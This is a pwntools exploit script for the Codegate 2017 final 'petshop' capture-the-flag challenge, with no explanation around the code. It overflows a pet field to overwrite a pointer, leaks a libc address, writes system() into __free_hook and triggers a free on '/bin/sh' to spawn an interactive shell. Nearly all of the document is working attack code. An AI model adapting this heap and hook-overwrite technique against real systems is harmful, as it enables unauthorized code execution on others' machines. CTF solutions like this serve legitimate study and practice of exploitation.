Codegate 2017 final petshop

from pwn import *
 
def set_pet(name,sound,feed):
    p.sendlineafter('select:','4')
    p.sendlineafter('set:','1')
    p.sendlineafter(':',name)
    p.sendlineafter(':',sound)
    p.sendlineafter(':',feed)
 
p=process('./petshop')
 
p.sendlineafter(':','1')
p.sendlineafter(':','1')
p.sendlineafter('select:','6')
p.sendlineafter('name?','AAAA')
set_pet('A','B','C'*12+p64(0x604088)+p64(0x8))
p.sendlineafter('select:','5')
p.recvuntil('person:')
strcpy = u64(p.recv(8))
libc_base = strcpy - 0x16bca0
system = libc_base + 0x47dc0
free_hook = libc_base + 0x3dc8a8
malloc_hook = libc_base + 0x3dac10
print hex(strcpy)
print hex(libc_base)
print hex(free_hook)
set_pet('A','B','C'*12+p64(free_hook)+p64(8))
p.sendlineafter('select:','6')
p.sendlineafter('name?',p64(system))
set_pet('A','B','C'*12+p64(malloc_hook)+p64(8))
p.sendlineafter('select:','6')
p.sendlineafter('name?','/bin/sh\x00')
 
p.sendlineafter('select:','2')
 
p.interactive()